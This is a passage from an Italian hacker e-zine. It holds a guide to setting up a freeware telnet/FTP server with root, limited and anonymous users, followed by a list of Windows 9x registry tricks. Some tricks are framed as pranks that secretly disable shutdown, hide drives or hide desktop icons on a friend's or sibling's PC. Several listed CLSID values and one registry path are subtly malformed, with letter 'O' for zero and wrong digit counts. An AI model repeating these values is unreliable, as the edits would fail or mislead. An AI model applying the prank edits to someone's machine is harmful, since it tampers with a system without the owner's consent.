| Change own password: permesso di cambiare password |
| Other, info type: altre info |
| |
|Se ho sbagliato qualcosa (credo di sì) mailatemi!! |
|Per attivare questi permessi dovete mettere il segno di spunta vicino alla voce.|
|Ovviamente il root (amministratore) li ha tutti. |
| |
|Adesso c'è la voce "Homedirectory for this user". Qui potete decidere in che |
|directory può lavorare l'utente. Ricordate che voi gli date la dir principale, |
|Poi lui può lavorare sulle sottodirectory (es. se gli date come homedirectory |
|c:\ potrà lavorare anche su c:\documenti). |
|Clicchiamo VFS Setting. |
| |
|Ora dobbiamo selezionare la directory di lavoro con i permessi. State attenti e |
|seguitemi bene, perchè già qui la faccenda comincia complicarli. In genere root |
|ha permessi totali (quindi sceglite pass difficili !!!) e come homedirectory ha |
|c:\. Così potrà controllare tutto. |
| |
| VFS-Path: questa voce indica solo come apparirà la homedirectory all'utente. |
|Potete scegliere di mettere "/" oppure "#" o qualsiasi segno vogliate. |
| |
| DOS-Path: questa è MOLTO importante. Indica il percorso dos della dir di lavoro|
| Ad esempio c:\nome_utente. Questo è il root, quindi io scelgo c: |
| |
|Adesso devo dargli i permessi. Ricordo a tutti che questo è root, quindi gli |
|darò tutti i permessi. Clicco su ADD e nella casella sottostante apparirà il |
|segno che avete scelto in VFS-Path seguito da (R). |
| |
|QUella R tra parentesi indica il permesso di lettura (read). Ora noi dobbiamo |
|dargli gli altri diritti. |
|Selezioniamo /(R). Sotto c'è un frame con nome "Right". Mettiamo il segno di |
|spunta su "Read", "Write", "Execute". Per mettergli di muoversi liberamente |
|nelle sottodir selezioniamo anche "Recursive" e poi clicchiamo Make Home |
|(così facendo diventa la sua homedirectory) e poi Apply (applica). Poi Close. |
|Adesso cliccate "Save Changes" |
| |
|Fatto, abbiamo sistemato il root.. Col cazzo!! Ve l'ho detto che era lunga. |
|Abbiamo configurato solo il telnet. Ci manca da configurare l'FTP, dobbiamo |
|vedere come aggiungere user con poteri limitati, ecc... |
| |
|Cmq vediamo se abbiamo fatto un buon lavoro. Facciamo partire telnet e come host|
|gli mettiamo 127.0.0.1 (che indica sempre il localhost) come porta lasciamo |
|telnet. "Connetti". |
| |
|Se appare Username cominciate a saltare... Però aspettate che controlliamo |
| |
| username: l'id del vostro root |
| password: (non vi appare niente, è normale!! Voi digitate e cliccate invio) |
| |
+--------------------------------------------------------------------------------+
| |
| Januari 2000 |
| We got this GREAT Daemon, it really rocks! |
| |
| The creator worked hard on it, he want to help the internet |
| community a bit, so he gives his program to non-commercial |
| and non-governmental (or related) for free! (the unregistered version) |
| |
| But the commercial and governmental (or related) MUST PAY the |
| fee, see www.fictional.net for details. |
| |
| Fictional Daemon v4.1 (http://www.fictional.net) |
| FREE version for NON-COMMERCIAL/NON-GOVERNMENTAL use. |
| Executing logon script... |
| |
| /> |
| |
|Se vi appare questa schermata avete fatto un bel lavoro ragazzi! Telnet funge!!!|
|Problema: come cambiare il messaggio d'ingresso? Niente di più semplice. |
|Andate su C:\Programmi\FDaemon e aprite motd.txt |
|Modificatelo come volete e mettete il messaggio d'ingresso che più vi aggrada. |
| |
+--------------------------------------------------------------------------------+
| |
|Mo' configuriamo l'FTP del root... Ritorniamo su Fictional Daemon e selezioniamo|
|il nostro user e poi show. In fondo alla finestra c'è la scritta: |
| "FTP-allowed for this user". Mettiamo il segno di spunta lì e clicchiamo: |
| "Save Changes". |
| |
|Adesso prendiamo un FTP qualunque. |
| |
| Host name: 127.0.0.1 |
| ID: l'id del vostro root |
| PASS: quella del vostro root |
| |
|GRANDE! Funge! E con pieni permessi. Ok, il root è configurato e và da Dio. |
|Adesso viene il difficile. Vediamo un po' di aggiunte che possiamo fare: |
| |
| 1) Accesso telnet & ftp ad altri user con permessi limitati (non root) |
| 2) Accesso FTP anonimo (user: anonymous, pass: mail@mail.com) |
| |
+--------------------------------------------------------------------------------+
| |
| 1) Accesso telnet & ftp ad altri user con permessi limitati (non root) |
| |
|Non bastano le cose che sapete adesso per fare questo. Dobbiamo vedere un paio |
|di altri comandini. |
| |
|Cominciamo ad aggiungere un altro user con permessi più limitati con acecsso a |
|telnet & ftp. |
| |
|Facciamo partire Fictional Daemon e clicchiamo su "New"... |
| |
| ID: ZetaZeroAlfa |
| Pass: nonlosochemetteredipassword |
| |
|Selezioniamo e clicchiamo "Show". Adesso l'utente "ZetaZeroAlfa" non ha alcun |
|permesso. Che permessi gli possiamo dare? Beh, possiamo dargli certamente cd/dir|
|non gli daremo certamente "Shutdow/reboot". |
| |
|Mh.. "Change Own Password"... Sì, così potrà cambiarsi la pass a piacimento! |
| |
|Direi che un utente normale non ha bisogno d'altro. |
| |
|Adesso dobbiamo decidere la sua homdirectory. Clicchiamo VFS. Possiamo creargli |
|c:\zeta come dir. Prima creiamo la cartella poi ritorniamo a Fictional Daemon. |
| |
| VFS-Path: /zeta |
| DOS-Path: c:/zeta |
| Clicchiamo Add, selezioniamo /zeta(R) e decidiamo che permessi dargli.. |
|Beh, nella sua homedirectory gli possiamo dare pieni permessi di lettura scrit- |
|tura, selezioniamo Read & Write, Recursive e poi Make Home. |
| |
|Ok, la sua homedirectory è /zeta. Però potremmo dargli permessi di lettura a |
|tutto il disco se è una persona di nostra fiducia (sconsigliato potrebbe rubarvi|
|le pass e poi..) cmq si può fare così: |
| |
| VFS-Path: / |
| DOS-Path: c: |
| e poi clicchiamo Add |
| |
|Selezioniamo /(R) e controlliamo che sia segnata solo la casella "Read"... Dare |
|permessi di scrittura a qualcuno su tutto l'hard disk potrebbe essere doloroso. |
|Clicchiamo Apply e poi (una volta finito) Close. Poi "Save Changes" |
|Ora, quando l'utente zetazeroalfa si loggherà nel nostro pc si ritroverà |
| |
| zeta> |
|con pieni permessi. |
| |
| Scrivendo cd / |
|si ritroverà in |
| |
| /> |
| |
|con permessi di sola lettura. Semplice no? |
|RICORDATE: lettura vuol dire che può prelevare e leggere tutto quanto sia in |
|quella dir. |
| |
|A questo punto possiamo abilitargli anche l'accesso FTP, no? Selezioniamo |
|l'utente, show e mettiamo il segno di spunta a "FTP-allowed for this user". |
|"Save Changes" anche qui e via. Proviamo. |
| |
| Apriamo l'FTP |
| Host Name: 127.0.0.1 |
| ID: zetazeroalfa |
| pass: nonlosochemetteredipassword |
| |
|Ci ritroviamo in /documenti |
|Possiamo salire ed andare su /.. |
|Xò non possiamo scendere in /windows o /ciao . Questo perchè quando abbiamo |
|cliccato su VFS non abbiamo selezionato Recursive.. Questa può essere una buona |
|soluzione per evitare che entri nelle dir degli altri. Se volete che abbiamo |
|pieno accesso (solo di lettura) quando avete aggiunto /(R) cliccate anche su |
|"Recursive". Quando è in /documenti l'utente zetazeroalfa può anche caricare |
|programmi/documenti/ecc.., quando invece si trova in altre dir può solo preleva-|
|re. Se prova a caricare file senza il permesso si ritrova la scritta: |
|"No permission". |
| |
+--------------------------------------------------------------------------------+
| |
| 2) Accesso FTP anonimo (user: anonymous, pass: mail@mail.com) |
| |
|Ok, qui è abbastanza semplice. Aprite telnet e loggatevi come root (vedi id & |
|pass del root).

  
|
| |
|Prima di tutto dovete creare un cartella dove inserirete i file che saranno di |
|libero accesso agli utenti che si loggano come anonimi con FTP. |
| |
|Io creerò una cartella che si chiamerà public. |
| |
|mi loggo e scrivo |
| cmd md public |
|(i comandi vanno preceduti da cmd, md = make dir, public = nome dir) |
| |
|poi mi sposto in public |
| cd public |
| |
|adesso devo abilitare l'utente anonimo |
| ALLOWANO ON |
| |
|Adesso devo decidere la homedirectory degli utenti che si loggano come anonimi. |
|Sono già in public quindi digito: |
| |
| SETDIR -H ANONYMOUS |
| |
|Ora dò i permessi.. Mh, a un utente anonimo lascerò solo leggere e lascerò la |
|possibilità di spostarsi all'interno di /public, quindi questa è la riga di |
|comando: |
| |
| FTPRIGHT ANONYMOUS,ADD,RS,/public,C:\public |
| |
|(ftpright = comando, anonymous = nome utente, ADD = diritti, RS = Read, |
|Recursive [lettura e spostamento nelle sottodir], /public = nome della VFS-Path,|
|c:\public = dos-path) |
| |
|Adesso è meglio controllare di non avere sbagliato niente, quindi controlliamo i|
|diritti di anonymous con: |
| |
| FTPRIGHT ANONYMOUS |
| |
|Vi dovrebbe apparire una cosa del genere: |
| |
| Rights for user: ANONYMOUS |
| RS,/public,c:\public |
| |
|RS = permessi di lettura e permessi di spostarsi all'interno delle sottocartelle|
|di /public. |
| |
+--------------------------------------------------------------------------------+
| |
|Ok, la configurazione di base è a posto. Abbiamo un utente root, un utente con |
|permessi limitati e un FTP con accesso anonimo. Questo può andare bene per il |
|99% delle configurazioni. |
|Su questo programma si potrebbero però scrivere decine di pagine. |
| |
|Tutti i comandi con le sintassi, le varie opzioni, le decine di settaggi |
|possibili.. Ma non sono qui per fare una guida completa per Fictional Daemon. |
|Me lo sono scaricato anch'io senza nessuna guida a parte quella allegata al pro-|
|gramma in inglese e sono riuscito a configurare il tutto senza problemi. |
|Vi ho lanciato un inizio, sta a voi andare avanti. |
| |
+--------------------------------------------------------------------------------+
| |
|Una cosa ragazzi: ho scritto un txt su "Oggi mi monto un Web Server" poi "Oggi |
|mi monto FTp & Telnet"
. A questo punto molti di voi si diranno: ma allora se è |
|così semplice farsi un server.. Beh, vuol dire che un amministratore non è |
|niente di speciale!! Ragazzi, c'è una bella differenza tra un normale amminis- |
|tratore e un buon amministratore. Io ho usato programmi freeware, semplici da |
|installare e da configurare. E già questo basterebbe per montare un server |
|almeno funzionante. |
| |
|Ricordate però che un buon amministratore deve conoscere i programmi che usa |
|alla perfezione, devi aggiornarli, devi curarli e configurarli in modo perfetto.|
|E deve essere attento alla sicurezza. Chiunque è capace di montare Fictional |
|Daemon o Apache, ben pochi li conosco veramente a fondo e ben pochi sanno ammini|
|strarlo e configurarlo perfettamente. |
| |
|Voi potete essere amministratori in pochi semplici passi, ma voi potete anche |
|diventare buoni amministratori. Ma i passi allora saranno molti di più. |
| |
+--------------------------------------------------------------------------------+
| |
| Un saluto: |
| a tutti i membri del Tcc - |
| Siamo online da tanto ed il merito è più vostro che mio! |
| a Sys |
| sono lamer ok.. Xò poi pubblichi i miei testi.. Come mai se fanno schifo? |
| a NewbiesTeam - xkè sono simpatici :)) |
| a OndaQuadra & Dirty Net - perchè pubblicano i miei txt |
| a tutti quelli che mi scrivono mail - BASTA !!!!! :)) |
| |
|Un'ultima cosa: qualcuno cerca un amministratore? Beh, mi offro volontario, mi |
|bastano 3 milioni al mese!! Referenze? Ehm.. Nessuna. Titoli di studio? Ehm.. |
|Licenza media inferiore.. Età? 17 anni.. Come? Ripasso fra 4 anni? E devo avere |
|una laurea? Ok, grazie :)) |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [VARI] -=[09]=- |
| Trucchi Windows 9X Internet |
+--------------------------------------------------------------------------------+
| |
| TRUCCHI PER WINDOWS 9X TROVATI SU INTERNET |
| |
+--------------------------------------------------------------------------------+
| |
| - Uscire da windows il modo più veloce e fico |
| |
|Normalmente arrestare windows richiede un sacco di dannato tempo, devi muovere |
|il tuo mouse sul pulsante start, clickare su di esso, muovere ancora su chiudi |
|sessione, clickare, muoversi sull'opzione necessaria e clickare, poi muovere il |
|cursore sul pulsate OK e clickare ancora una volta (l'avevi indovinato). |
| |
|Questo intero processo può essere accorciato creando un nuovo collegamento sul |
|desktop che riavvierà windows quando clicki sul pulsante. |
| |
|Incomincia col creare un nuovo collegamento (click col tasto destro sul desktop |
|e seleziona nuovo->collegamento). Poi nella linea di comando, digita (senza le |
|virgolette): |
| |
| 'C:\windows\rundll.exe user.exe,exitwindowsexec' |
| |
|Questo collegamento quando clickato riavvierà windows immediatamente senza alcun|
|avviso. |
| |
|Per creare un collegamento per arrestare windows, digita come segue nella linea |
|comando: |
| |
| 'c:\windows\rundll.exe user.exe,exitwindows' |
| |
|Questo collegamento quando clickato arresterà windows immediatamente senza alcun|
|avviso. |
| |
+--------------------------------------------------------------------------------+
| |
| - Eliminare gli arresti: uno scherzo da fare ai lamers |
| |
|Questo è un semplice scherzo che puoi fare a quel lamer che ha un enorme ego, in|
|questa sezione io ti insegnerò, come disabilitare l'opzione arresta il sistema |
|nel menu per arrestare il sistema. Questo scherzo richiede l'editazione del re- |
|gistro, per questo per favore fai una copia di backup. |
| |
|Lancia regedit.exe e vai a: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Nel pannello sulla destra cerca la voce NoClose. Se non è già lì allora crearla |
|clickando col tasto destro sul pannello e selezionando Nuovo->stringa (chiamala |
|NoClose). Adesso che vedi la voce NoClose nel pannello a destra, clicka col tast|
|destro su di essa e seleziona modifica. Poi digita '1' nel campo valore. |
| |
|Facendo ciò su un sistema win98 si disabilita l'opzione per l'arresto del siste-|
|ma, ma su un sistema win95 clickare sul pulsante start->arresta sistema comporta|
|la visualizzazione del seguente messaggio: |
|Questa operazione è stata eliminata a causa delle restrizioni in atto su questo |
|computer. Per favore contatti il suo amministratore di sistema. |
| |
|Puoi riabilitare l'opzione cambiando il valore della voce NoClose a 0 o sempli- |
|cemente cancellando la voce particolare (NoClose). |
| |
|Invece di eseguire il processo precedente che è difficile da ricordare, salva |
|semplicemente quanto segue con un estensione .reg e aggiungi il contenuto al |
|registro con un doppio click su di esso. |
| |
| REGEDIT4 |
| |
| [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]|
| |
| "NoClose"="1" |
| |
+--------------------------------------------------------------------------------+
| |
| - Disabilitare la visualizzazione dei drivers su risorse del computer |
| |
|Questo è un altro scherzo che puoi giocare a un tuo amico. Per disabilitare la |
|visualizzazione dei drives locali quando si clicka su risorse del computer vai a|
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Adesso nel pannello di destra crea un nuovo oggetto DWORD e nominalo NoDrives'. |
|Adesso modifica il suo valore e ponilo uguale a '3FFFFFF' (esadecimale) adesso |
|premi F5 per ricaricare. Quando clicki su risorse del computer, non viene mostra|
|to nessun drive. Per riabilitare la visualizzazione cancella semplicemente l'og-|
|getto DWORD. Ecco il file .reg come segue: |
| |
| REGEDIT4 |
| |
| [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]|
| |
| "NoDrives"=dword:03ffffff |
| |
+--------------------------------------------------------------------------------+
| |
| - Impadronirsi dello screen saver |
| |
|Per disattivare e attivare lo screen saver ogni volta che vuoi, vai nella se- |
|guente chiave del registro |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers |
| |
|Adesso aggiungi una nuova stringa e chiamala 'Mouse Corners'. Edita questo nuovo|
|valore con -Y-N. Premi F5 per ricaricare il registro. Voila! Adesso puoi attiva-|
|re il tuo screensaver semplicemente ponendo il cursore del mouse nell'angolo in |
|alto a destra dello schermo se lo sposti nell'angolo in basso a sinistra, lo |
|screensaver si disattiverà. |
| |
+--------------------------------------------------------------------------------+
| |
| - Mostra un avviso ogni volta che windows si avvia. |
| |
|Per mostrare un avviso che può contenere qualsiasi messaggio che vuoi mostrare |
|giusto prima che un utente si logghi, vai alla chiave: |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon |
| |
|Adesso crea una nuova stringa nel pannello a destra chiamata 'LegalNoticeCaption|
|e digita il valore che vuoi vedere nella barra del menu. Adesso crea ancora |
|un'altra nuova stringa e chiamala 'LegalNoticeText'. Modificala e inserisci il |
|messaggio che vuoi mostrare ad ogni avvio di windows. Questo può essere effet- |
|tivamente usato per mostrare la politica privata della compagnia ogni volta che |
|un utente si logga su una postazione NT. Ecco il file .reg come segue: |
| |
| REGEDIT4 |
| |
| [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] |
| |
| "LegalNoticeCaption"="Caption here." |
| |
+--------------------------------------------------------------------------------+
| |
| - Cancellare il consiglio del giorno per salvare 5 Kb. |
| |
|Windows95 ha quei consigli del giorno che appaiono su un sistema che ha appena |
|installato windows. Questi consigli del giorno sono conservatì nel registro di |
|windows e occupano 5 Kb. di spazio. Per quelli di voi che sono realmente preoc-|
|cupati di quanto spazio libro ha il loro hard disk, io ho il trucco perfetto. |
|Vai nella seguente chiave del registro: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips |
| |
|Adesso cancella semplicemente questi consigli selezionandoli e premendo il tasto|
|canc. |
| |
+--------------------------------------------------------------------------------+
| |
| - Cambiare la locazione di default |
| |
|Per cambiare il drive o il path di default dove windows cercherà i suoi files di|
|installazione, vai alla seguente chiave: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath |
| |
|Adesso puoi editarla come vuoi. |
| |
+--------------------------------------------------------------------------------+
| |
| - Proteggere le icone del tuo desktop e le impostazioni |
| |
|Puoi proteggere le impostazioni del tuo desktop da tuoi amici modificando il |
|registro. Semplicemente lancia l'editor del registro e vai a: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Nel pannello di destra crea un nuovo oggetto DWORD chiamato 'NoSaveSettings' e |
|modifica il suo valore a '1'. Riavvia per ottenere il salvataggio. |
| |
+--------------------------------------------------------------------------------+
| |
| - Cartelle CLSID spiegate |
| |
|Tu non odi quelle caparbie stupide icone che si rifiutano di lasciare il desktop|
|Sono sicuro che vuoi sapere come puoi cancellarle. Potresti dire che è veramente|
|semplice, semplicemente clickando col tasto destro sull'icona interessata e |
|selezionando elimina. Bhe, non esattamente, vedrai che quando effettuerai il |
|click desto su quelle speciali cartelle (vedi l'intera lista sotto) non appari- |
|ranno nè l'opzione elimina nè quella rinomina. Per cancellare queste cartelle, |
|ci sono 2 metodi, il primo è usare il System Policy Editor(Poledit nell'instal- |
|lazione di windows su CD) e il secondo è usare il registro. |
| |
|Per cancellare le cartelle di sistema dal desktop semplicemente vai alle seguen-|
|ti chiavi del registro: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\ |
| Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} |
| |
|Per cancellare un icona semplicemente cancella il valore CLSID a 16 byte all'in-|
|terno di "Namespace". I seguenti valori CLSID sono quelli delle icone più fre- |
|quentemente usate: |
| |
| My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D} |
| |
| Desktop: {00021400-0000-0000-C000-0000000000046} |
| |
| Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D} |
| |
| Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48} |
| |
| Fonts: {BD84B380-8CA2-1069-AB1D-08000948534} |
| |
| Inbox :{00020D76-0000-0000-C000-000000000046} |
| |
| My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D} |
| |
| Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D} |
| |
| Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D} |
| |
| Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E} |
| |
| The Microsoft Network:{00028B00-0000-0000-C000-000000000046} |
| |
| History: {FF393560-C2A7-11CF-BFF4-444553540000} |
| |
| Winzip :{E0D79300-84BE-11CE-9641-444553540000} |
| |
|Per esempio per cancellare il cestino, prima segnati il suo valore CLSID, che |
|è: 645FF040-5081-101B-9F08-00AA002F954E. Adesso vai nella chiave Namespace nel |
|registro e cancella il valore corrispondente. |
| |
| KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\ |
| NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} |
| |
|Similmente per cancellare la cartella cronologia, cancella la seguente chiave: |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\ |
| NameSpace\{FBF23B42-E3F0-101B-8488-00AA003E56F8} |
| |
|Qualche volta potresti aver bisogno di giocare uno scherzo a tuo fratello o a un|
|tuo amico, bene questo ti insegna come nascondere tutte le icone dal desktop. |
|Vai alla seguente chiave del registro: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Nel pannello di destra crea un nuovo valore DWORD chiamato: 'NoDesktop' e poni |
|il suo valore a '1'. Riavvia e non troverai più icone sul desktop. |
| |
|Fino ad adesso hai semplicemente imparato come cancellare cartelle speciali di |
|sistema cancellando una chiave del registro, ma un hackeraggio verrebbe meglio |
|se ci fosse un modo di aggiungere le opzioni CANCELLA e RINOMINA nel menu che si|
|ottiene col click destro su queste cartelle speciali. Tu puoi cambiare tale menu|
|di ogni cartella di sistema e aggiungere ognuna delle seguenti opzioni: RINOMINA|
|CANCELLA, TAGLIA, COPIA, INCOLLA e molte altre. |
| |
|Questo hackeraggio richiede che tu conosca il valore CLSID della cartella di |
|sistema che tu vuoi personalizzare. In questa sezione, io ho considerato il ces-|
|tino come la cartella della quale editerò il menu. |
| |
|Per primo lancia l'editor del registro e apri la seguente chiave: |
| HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder |
| |
|Nel caso tu voglia editare altre cartelle come, diciamo, la cartella dei FONTS, |
|allora devi aprire la seguente chiave: |
| |
| HKEY_CLASSES_ROOT\CLSID\{VALORE CLSID}\ShellFolder |
| |
|Nel pannello a destra ci sarà un valore DWORD chiamato attributes. Adesso consi-|
|dera le seguenti opzioni: |
| |
|1. Per aggiungere l'opzione rinomina al menu, cambia il valore di attributes in:|
| 50 01 00 20 |
|2. Per aggiungere l'opzione cancella al menu, cambia il valore di attributes in:|
| 60 01 00 20 |
|3. Per aggiungere sia rinomina che cancella, cambia il valore di attributes in: |
| 70 01 00 20 |
|4. Per aggiungere copia al menu, cambia il valore di attributes in: 41 01 00 20 |
|5. Per aggiungere taglia al menu, cambia il valore di attributes in: 42 01 00 20|
|6. Per aggiungere sia taglia che copia al menu, cambia il valore di attributes |
| 43 01 00 20 |
|7. Per aggiungere incolla al menu, cambia il valore di attributes in:44 01 00 20|
|8. Per aggiungere copia e incolla al menu, cambia il valore di attributes in: |
| 45 01 00 20 |
|9. Per aggiungere taglia e incolla al menu, cambia il valore di attributes in: |
| 46 01 00 20 |
|10. Per aggiungerli tutti, cambia il valore di attributes in: 47 01 00 20 |
| |
|Noi vogliamo aggiungere solo l'opzione rinomina al menu del cestino, così cam- |
|biamo il valore di attributes in 50 01 00 20. Premiamo F5 per riavviare e dopo |
|aver riavviato troverai che quando clicki col tasto destro sul cestino spunta |
|anche l'opzione rinomina. Per resettare il valore originario delle opzioni i |
|windows cambia di nuovo il valore in: 40 01 00 20 |
| |
|Il file di registro che uno può creare per il processo di sopra dovrebbe aparire|
|in questo modo; |
| |
| REGEDIT4 |
| |
| [HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell-Folder] |
| |
| "Attributes"=hex:50,01,00,20 |
| |
+--------------------------------------------------------------------------------+
| |
| - Il menu start |
| |
|Per accedere, diciamo, alle proprietà del modem nella cartella del pannello di |
|controllo, la procedura normale è: clickare su start. clickare su impostazioni->|
|pannello di controllo, aspettare che venga mostrata la finestra del pannello di |
|controllo e poi infine, clickare sull'icona del modem. |
| |
|Non sarebbe adorabile se potessi abbreviare il processo in: clickare su start-> |
|pannello di controllo->modem? Si, tu puoi aggiungere il pannello di controllo e |
|anche tutte le altre icone speciali di sistema direttamente al primo livello del|
|menu start. Per prima cosa raccogli il valore CLSID della cartella che vuoi |
|aggiungere al menu start. Io voglio aggiungere il pannello di controllo, quindi,|
|il valore CLSID è: 21EC2020-3AEA-1069-A2DD-08002B30309D |
| |
|Adesso click destro sul pulsante start e seleziona apri. Adesso crea una nuova |
|cartella e chiamala: Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D} |
| |
|NOTA: non dimenticare il punto dopo la 'l' in panel. Similmente tutte le cartele|
|di sistema possono essere aggiunte al menu start. |
| |
+--------------------------------------------------------------------------------+
| |
| - Cancellare opzioni di sistema dal menu start |
| |
|Tu puoi rimuovere le opzioni trova ed esegui dal menu start eseguendo un smplice|
|hackeraggio del registro. Ancora una volta lancia l'editor del registro e scendi|
|fino alla chiave: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Click destro sul pannello destro e seleziona nuovo->valore DWORD. Chiamalo 'No |
|Find' (per rimuovere il comando esegui chiamalo 'NoRun'). Doppio click sulla |
|nuova DWORD creata per editare il suo valore e inserire '1' come tale. Questo |
|disabiliterà l'opzione trova nel menu start e anche il tasto di scelta rapida |
|(F3 per trova). |
| |
|Per ripristinare i comandi esegui e trova modifica il valore della DWORD in '0' |
|o semplicemente cancellala. |
| |
+--------------------------------------------------------------------------------+
| |
| - stufi delle noiose icone gialle delle cartelle? (compreso le icone dei drive)|
| |
| NOTA: questo trucco non è stato provato su win98 ma solo su 95 |
| |
|Tu puoi semplicemente cambiare le noiose icone delle cartelle con le tue perso- |
|nalizzate semplicemente creando un file di testo e copiando le seguenti righe |
|dentro di esso: |
| |
| [.ShellClassInfo] |
| |
| ICONFILE=Drive:\Path\Icon_name.extension |
| |
|Salva questo file col nome di 'desktop.ini' nella cartella, della quale vuoi |
|cambiare l'icona. Adesso previeni che questo file sia cancellato cambiando i |
|suoi attribbuti in NASCOSTO e DI SOLA LETTURA usando il comando ATTRIB. |
| |
|Per cambire l'icona di un drive, crea un file di testo contenente le seguenti |
|linee: |
| |
| [Autorun] |
| |
| ICON=Drive:\Path\Icon_name.extension |
| |
|Salva questo file nella root del drive del quale vuoi cambiare l'icona e chiamal|
|'autorun.inf'. Per esempio, se vuoi cambiare l'icona di un floppy, salva l'icona|
|in "a:\icon_name.ico" uno può anche creare un'icona per l'hard disk e creare un |
|file di testo [autorun.inf] e salvarlo in "c:\". |
| |
+--------------------------------------------------------------------------------+
| |
| - Sicurezza su NT |
| |
|Per default, NT 4.0 mostra l'ultima persona che si è loggata nel sistema. |
|Questo può essere considerato come una minaccia per la sicurezza, specialmente |
|nel caso di quelle persone che scelgono che la loro password sia anche il loro |
|username. Per disabilitare questo bug che attualmente è una caratteristica, vai |
|nella seguente chiave nell'editor del registro: |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon |
| |
|Clicka e seleziona l'oggetto ReportBookOK e crea una nuova stringa chiamata |
|'DontDisplayLastUserName'. Modificala e ponila uguale a '1'. |
| |
|Come amministratore di sistema, puoi assicurare che le password scelte dagli |
|utenti non siano troppo lame o troppo facili da indovinare. NT ha questa amabile|
|applicazione chiamata User Manager che permette all'amministratore di settare |
|l'età minima della password, il che forza l'utente a cambiare la password dopo |
|un certo numero di giorni. Puoi anche settare la lunghezza minima delle password|
|e prevenire che gli utenti usino password che sono già state usate di recente e |
|anche abilitare account bloccati che disattiveranno un account dopo un determi- |
|nato numero di tentativi di login falliti. |
| |
|Quando ti logghi su NT, dovresti disabilitare il Password Caching, questo assi- |
|cura singoli domini di login NT e previene anche schermi secondari di logon. |
| |
|Semplicemente copia le seguenti linee in un editor di testo ASCII come: notepad |
|e salvali con l'estensione .reg |
| |
| ----------------DISABLE.reg----------------- |
| |
| REGEDIT4 |
| |
| [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]|
| |
| "DisablePwdCaching"=dword:00000001 |
| |
| ----------------DISABLE.reg----------------- |
| |
|Per abilitare il Password Caching usa il seguente .reg file: |
| |
| ----------------Enable.reg------------------ |
| |
| REGEDIT4 |
| |
| [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]|
| |
| "DisablePwdCaching"=dword:00000000 |
| |
| ----------------Enable.reg------------------ |
| |
+--------------------------------------------------------------------------------+
| |
| - Cancellare il menu dei documenti recenti e il RUN MRU |
| |
|Il menu dei documenti recenti può essere facilmente disabilitato editando il re-|
|gistro. Per fare questo vai alla seguente chiave: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| |
|Adesso nel pannello di destra, crea una nuova DWORD chiamata: NoRecentDocsMenu e|
|poni il suo valore uguale a '1'. Riavvia explorer per rendere attivi i cambia- |
|menti. |
| |
|Puoi anche cancellare l'history RUN MRU. Tutte le liste sono contenute nella |
|chiave: |
| |
| HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU |
| |
|Puoi anche cancellare liste individuali o l'intero listato. Per cancellare |
|l'history delle liste di ricerca vai a: |
| |
| HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find |
| Spec MRU e cancellala. |
| |
+--------------------------------------------------------------------------------+
| |
| - Customizzare il menu del tasto destro sul menu start |
| |
|Quando tu fai un click col tasto destro sul menu start, solo tre opzioni vengono|
|mostrate: Apri, Esplora, e trova. Puoi aggiungere i tuoi programmi a questo menu|
|a comparsa (che appare quando clickiamo col tasto destro). Apri il regedit e vai|
|alla seguente chiave: |
| |
| HKEY_CLASSES_ROOT\Directory\Shell |
| |
|fai un click destro e crea una nuova sottochiave (puoi crearla clickando col ta-|
|sto destro sulla chiave 'shell' selezionando nuovo->chiave). Digita il nome |
|dell'applicazione che vuoi includere al menu start. Io voglio aggiungere notepad|
|e quindi chiamo questa nuova sottochiave 'notepad'. Adesso fai un altro click |
|destro sulla nuova sottochiave e creane un altra chiamata 'Command'. Nella quale|
